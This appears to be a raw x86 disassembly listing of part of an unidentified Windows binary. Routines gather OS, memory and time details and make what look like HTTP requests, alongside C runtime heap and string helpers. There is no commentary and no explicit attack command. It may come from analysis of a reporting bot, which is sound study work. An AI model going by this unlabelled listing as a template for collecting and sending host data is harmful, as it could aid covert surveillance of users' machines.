loc_41AAF5: ; CODE XREF: sub_41AA42+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41AB0C
loc_41AB05: ; CODE XREF: sub_41AA42+7Cj
; sub_41AA42+8Ej
mov [ebp+var_4], offset dword_431268
loc_41AB0C: ; CODE XREF: sub_41AA42+73j
; sub_41AA42+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41AB44
loc_41AB15: ; CODE XREF: sub_41AA42+61j
cmp [ebp+var_B8], bl
jz short loc_41AB44
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_1 ; "%s (%s)"
push eax
call sub_41B886
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41AB44: ; CODE XREF: sub_41AA42+54j
; sub_41AA42+D1j ...
mov ax, word_43783C
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CAE54
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41AB7D
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj
push [ebp+arg_4]
call sub_40AC0F
pop ecx
push eax
call dword_4CAFB4
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CAF2C
cmp eax, ebx
jz short loc_41ABA6
push dword ptr [eax]
jmp short loc_41ABAB
; ---------------------------------------------------------------------------
loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41ABAB: ; CODE XREF: sub_41AA42+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 2660AB7h
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43A114
push ebx
mov esi, 409h
push ebx
push esi
nop
call near ptr 2730000h
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
nop
call near ptr 2721566h
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call near ptr 2840000h
nop
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41B9D1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416A32
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41A88B
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416922
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416922
pop ecx
pop ecx
push eax
call sub_41A98C
push edx
push eax
push offset dword_43A038
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AA42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp
; sub_401ACD+72F5p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp dword_4CB05C, 0
jnz short loc_41AD62
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CAE38
test eax, eax
jnz short loc_41AD4B
lea eax, [ebp+var_8C]
push offset dword_43A19C
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AD4B: ; CODE XREF: sub_41ACF6+40j
test [ebp+var_C], 1
jz short loc_41AD58
push offset dword_43A194
jmp short loc_41AD5D
; ---------------------------------------------------------------------------
loc_41AD58: ; CODE XREF: sub_41ACF6+59j
push offset off_43A190
loc_41AD5D: ; CODE XREF: sub_41ACF6+60j
lea eax, [ebp+var_8]
jmp short loc_41AD7A
; ---------------------------------------------------------------------------
loc_41AD62: ; CODE XREF: sub_41ACF6+28j
mov esi, offset off_43A18C
lea eax, [ebp+var_8]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43A148
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41ACF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43A27C
call sub_41B590
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41B590
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41B590
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41B590
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41B590
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CAE70
test eax, eax
jz loc_41AF4F
cmp [ebp+var_34], ebx
jbe short loc_41AE8C
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41AEAA
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj
cmp [ebp+var_20], ebx
jbe short loc_41AEC4
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j
cmp [ebp+var_18], ebx
jbe short loc_41AEDE
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEDE: ; CODE XREF: sub_41ADB5+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CAF24
call dword_4CAF48
mov esi, eax
cmp esi, ebx
jz short loc_41AF67
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CAF3C
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41AF6E
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CAEE8
test eax, eax
jz short loc_41AF48
push offset dword_43A260
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj
push offset unk_43A224
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j
lea eax, [ebp+var_55C]
push offset dword_43A208
push eax
call sub_41B886
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41AF81
; ---------------------------------------------------------------------------
loc_41AF67: ; CODE XREF: sub_41ADB5+153j
push offset unk_43A1DC
jmp short loc_41AF73
; ---------------------------------------------------------------------------
loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj
push offset unk_43A1AC
loc_41AF73: ; CODE XREF: sub_41ADB5+191j
; sub_41ADB5+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41AFAC
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409A72
add esp, 14h
loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_4151AC
pop ecx
push esi
call dword_4CAFA8
push [ebp+var_4]
call dword_4CAFA8
push [ebp+var_1D8]
call sub_40B412
pop ecx
push ebx
nop
call near ptr 26D0000h
pop edi
pop esi
pop ebx
int 3 ; Trap to Debugger
sub_41ADB5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41AFE0 proc near ; CODE XREF: sub_401000+34p
; ___:0040136Ep ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B000
loc_41AFEC: ; CODE XREF: sub_41AFE0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B033
test ecx, 3
jnz short loc_41AFEC
add eax, 0
loc_41B000: ; CODE XREF: sub_41AFE0+Aj
; sub_41AFE0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B000
mov eax, [ecx-4]
test al, al
jz short loc_41B051
test ah, ah
jz short loc_41B047
test eax, 0FF0000h
jz short loc_41B03D
test eax, 0FF000000h
jz short loc_41B033
jmp short loc_41B000
; ---------------------------------------------------------------------------
loc_41B033: ; CODE XREF: sub_41AFE0+11j
; sub_41AFE0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B03D: ; CODE XREF: sub_41AFE0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B047: ; CODE XREF: sub_41AFE0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B051: ; CODE XREF: sub_41AFE0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41AFE0 endp
; =============== S U B R O U T I N E =======================================
sub_41B05B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+58DAp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B070
or eax, 0FFFFFFFFh
jmp short loc_41B0AA
; ---------------------------------------------------------------------------
loc_41B070: ; CODE XREF: sub_41B05B+Ej
test al, 83h
jz short loc_41B0A8
push esi
call sub_41DB8B
push esi
mov edi, eax
call sub_41DB25
push dword ptr [esi+10h]
call sub_41DA72
add esp, 0Ch
test eax, eax
jge short loc_41B096
or edi, 0FFFFFFFFh
jmp short loc_41B0A8
; ---------------------------------------------------------------------------
loc_41B096: ; CODE XREF: sub_41B05B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41B0A8
push eax
call sub_41B0B1
and dword ptr [esi+1Ch], 0
pop ecx
loc_41B0A8: ; CODE XREF: sub_41B05B+17j
; sub_41B05B+39j ...
mov eax, edi
loc_41B0AA: ; CODE XREF: sub_41B05B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B05B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40AB31+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41B117
mov eax, dword_4DC908
cmp eax, 3
jnz short loc_41B0DD
push esi
call sub_41DE77
pop ecx
test eax, eax
push esi
jz short loc_41B109
push eax
call sub_41DEA2
pop ecx
pop ecx
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B0DD: ; CODE XREF: sub_41B0B1+14j
cmp eax, 2
jnz short loc_41B108
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_41B108
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41EC29
add esp, 0Ch
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B108: ; CODE XREF: sub_41B0B1+2Fj
; sub_41B0B1+44j
push esi
loc_41B109: ; CODE XREF: sub_41B0B1+20j
push 0
push dword_4DC904
call near ptr 27A0000h
nop
loc_41B117: ; CODE XREF: sub_41B0B1+Aj
; sub_41B0B1+2Aj ...
pop esi
leave
retn
sub_41B0B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B11A proc near ; CODE XREF: sub_4010AB+45p
; ___:0040F089p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41B13E
xor eax, eax
jmp loc_41B1E7
; ---------------------------------------------------------------------------
loc_41B13E: ; CODE XREF: sub_41B11A+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41B151
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B151: ; CODE XREF: sub_41B11A+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B15A: ; CODE XREF: sub_41B11A+C4j
mov ecx, [ebp+arg_0]
loc_41B15D: ; CODE XREF: sub_41B11A+35j
; sub_41B11A+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41B18F
mov eax, [esi+4]
test eax, eax
jz short loc_41B18F
cmp ecx, eax
mov edi, ecx
jb short loc_41B174
mov edi, eax
loc_41B174: ; CODE XREF: sub_41B11A+56j
push edi
push dword ptr [esi]
push ebx
call sub_41C310
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B18F: ; CODE XREF: sub_41B11A+49j
; sub_41B11A+50j
cmp ecx, [ebp+arg_C]
jb short loc_41B1C2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41B1A5
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41B1A5: ; CODE XREF: sub_41B11A+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
test eax, eax
jz short loc_41B1EC
cmp eax, 0FFFFFFFFh
jz short loc_41B1F2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B1C2: ; CODE XREF: sub_41B11A+78j
push esi
call sub_41F043
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B1F6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41B1DA: ; CODE XREF: sub_41B11A+73j
; sub_41B11A+A6j
cmp [ebp+arg_0], 0
jnz loc_41B15A
mov eax, [ebp+arg_8]
loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj
; sub_41B11A+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41B1F6
; ---------------------------------------------------------------------------
loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj
or dword ptr [esi+0Ch], 20h
loc_41B1F6: ; CODE XREF: sub_41B11A+B2j
; sub_41B11A+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41B1E7
sub_41B11A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41CFD3+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41B21D
push [ebp+arg_4]
call sub_41B4D5
pop ecx
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B21D: ; CODE XREF: sub_41B202+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41B232
push [ebp+arg_0]
call sub_41B0B1
pop ecx
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B232: ; CODE XREF: sub_41B202+20j
mov eax, dword_4DC908
cmp eax, 3
jnz loc_41B342
loc_41B240: ; CODE XREF: sub_41B202+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B31E
push [ebp+arg_0]
call sub_41DE77
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41B2F9
cmp esi, dword_4DC900
ja short loc_41B2B2
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41E680
add esp, 0Ch
test eax, eax
jnz short loc_41B2AE
push esi
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B2B2
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41B292
mov eax, esi
loc_41B292: ; CODE XREF: sub_41B202+8Cj
push eax
push ebx
push edi
call sub_41C310
push ebx
call sub_41DE77
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41DEA2
add esp, 18h
loc_41B2AE: ; CODE XREF: sub_41B202+74j
test edi, edi
jnz short loc_41B2F5
loc_41B2B2: ; CODE XREF: sub_41B202+62j
; sub_41B202+81j
test esi, esi
jnz short loc_41B2B9
push 1
pop esi
loc_41B2B9: ; CODE XREF: sub_41B202+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DC904
call near ptr 27B0000h
nop
mov edi, eax
test edi, edi
jz short loc_41B2F5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41B2E1
mov eax, esi
loc_41B2E1: ; CODE XREF: sub_41B202+DBj
push eax
push ecx
push edi
call sub_41C310
push [ebp+arg_0]
push ebx
call sub_41DEA2
add esp, 14h
loc_41B2F5: ; CODE XREF: sub_41B202+AEj
; sub_41B202+D0j
test ebx, ebx
jnz short loc_41B31A
loc_41B2F9: ; CODE XREF: sub_41B202+56j
test esi, esi
jnz short loc_41B300
push 1
pop esi
loc_41B300: ; CODE XREF: sub_41B202+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DC904
nop
call near ptr 2850000h
mov edi, eax
loc_41B31A: ; CODE XREF: sub_41B202+F5j
test edi, edi
jnz short loc_41B33B
loc_41B31E: ; CODE XREF: sub_41B202+43j
cmp dword_4DB2FC, 0
jz short loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B240
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B33B: ; CODE XREF: sub_41B202+11Aj
; sub_41B202+123j ...
mov eax, edi
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B342: ; CODE XREF: sub_41B202+38j
cmp eax, 2
jnz loc_41B45D
cmp esi, 0FFFFFFE0h
ja short loc_41B35F
test esi, esi
jbe short loc_41B35C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41B35F
; ---------------------------------------------------------------------------
loc_41B35C: ; CODE XREF: sub_41B202+150j
push 10h
pop esi
loc_41B35F: ; CODE XREF: sub_41B202+14Cj
; sub_41B202+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B43F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41EBD2
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41B423
cmp esi, dword_43C2F4
jnb short loc_41B3E7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EF9A
add esp, 10h
test eax, eax
jz short loc_41B3AD
mov edi, [ebp+arg_0]
jmp short loc_41B3DF
; ---------------------------------------------------------------------------
loc_41B3AD: ; CODE XREF: sub_41B202+1A4j
push edi
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B3E7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B3C6
mov eax, esi
loc_41B3C6: ; CODE XREF: sub_41B202+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
loc_41B3DF: ; CODE XREF: sub_41B202+1A9j
test edi, edi
jnz loc_41B33B
loc_41B3E7: ; CODE XREF: sub_41B202+18Bj
; sub_41B202+1B6j
push esi
push 0
push dword_4DC904
call near ptr 27B0000h
nop
mov edi, eax
test edi, edi
jz short loc_41B43F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B408
mov eax, esi
loc_41B408: ; CODE XREF: sub_41B202+202j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
jmp short loc_41B437
; ---------------------------------------------------------------------------
loc_41B423: ; CODE XREF: sub_41B202+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DC904
call near ptr 2850000h
nop
mov edi, eax
loc_41B437: ; CODE XREF: sub_41B202+21Fj
test edi, edi
jnz loc_41B33B
loc_41B43F: ; CODE XREF: sub_41B202+162j
; sub_41B202+1F8j
cmp dword_4DB2FC, 0
jz loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B35F
jmp short loc_41B49B
; ---------------------------------------------------------------------------
loc_41B45D: ; CODE XREF: sub_41B202+143j
; sub_41B202+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41B487
test esi, esi
jnz short loc_41B46B
push 1
pop esi
loc_41B46B: ; CODE XREF: sub_41B202+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DC904
nop
call near ptr 2850000h
test eax, eax
jnz short loc_41B49D
loc_41B487: ; CODE XREF: sub_41B202+260j
cmp dword_4DB2FC, 0
jz short loc_41B49D
push esi
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B45D
loc_41B49B: ; CODE XREF: sub_41B202+2Bj
; sub_41B202+134j ...
xor eax, eax
loc_41B49D: ; CODE XREF: sub_41B202+16j
; sub_41B202+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B202 endp
; =============== S U B R O U T I N E =======================================
sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41F49D
test eax, eax
jnz short loc_41B4AC
retn
; ---------------------------------------------------------------------------
loc_41B4AC: ; CODE XREF: sub_41B4A2+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41F32D
add esp, 10h
retn
sub_41B4A2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+58AEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41B4A2
add esp, 0Ch
retn
sub_41B4C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40AB31+63p ...
arg_0 = dword ptr 4
push dword_4DB2FC
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41B4D5 endp
; =============== S U B R O U T I N E =======================================
sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap
; sub_41CFC5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41B510
loc_41B4EE: ; CODE XREF: sub_41B4E7+27j
push [esp+arg_0]
call sub_41B513
test eax, eax
pop ecx
jnz short locret_41B512
cmp [esp+arg_4], eax
jz short locret_41B512
push [esp+arg_0]
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B4EE
loc_41B510: ; CODE XREF: sub_41B4E7+5j
xor eax, eax
locret_41B512: ; CODE XREF: sub_41B4E7+13j
; sub_41B4E7+19j
retn
sub_41B4E7 endp
; =============== S U B R O U T I N E =======================================
sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DC908
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41B537
cmp esi, dword_4DC900
ja short loc_41B569
push esi
call sub_41E1CB
test eax, eax
pop ecx
jz short loc_41B569
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B537: ; CODE XREF: sub_41B513+Dj
cmp eax, 2
jnz short loc_41B569
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41B54C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41B54F
; ---------------------------------------------------------------------------
loc_41B54C: ; CODE XREF: sub_41B513+2Fj
push 10h
pop esi
loc_41B54F: ; CODE XREF: sub_41B513+37j
cmp esi, dword_43C2F4
ja short loc_41B576
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
test eax, eax
pop ecx
jnz short loc_41B585
jmp short loc_41B576
; ---------------------------------------------------------------------------
loc_41B569: ; CODE XREF: sub_41B513+15j
; sub_41B513+20j ...
test esi, esi
jnz short loc_41B570
push 1
pop esi
loc_41B570: ; CODE XREF: sub_41B513+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41B576: ; CODE XREF: sub_41B513+42j
; sub_41B513+54j
push esi
push 0
push dword_4DC904
nop
call near ptr 27B0000h
loc_41B585: ; CODE XREF: sub_41B513+52j
pop esi
retn
sub_41B513 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41B5E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41B5D7
neg ecx
and ecx, 3
jz short loc_41B5B9
sub edx, ecx
loc_41B5B3: ; CODE XREF: sub_41B590+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41B5B3
loc_41B5B9: ; CODE XREF: sub_41B590+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41B5D7
rep stosd
test edx, edx
jz short loc_41B5DD
loc_41B5D7: ; CODE XREF: sub_41B590+18j
; sub_41B590+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41B5D7
loc_41B5DD: ; CODE XREF: sub_41B590+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B5E3: ; CODE XREF: sub_41B590+Aj
mov eax, [esp+arg_0]
retn
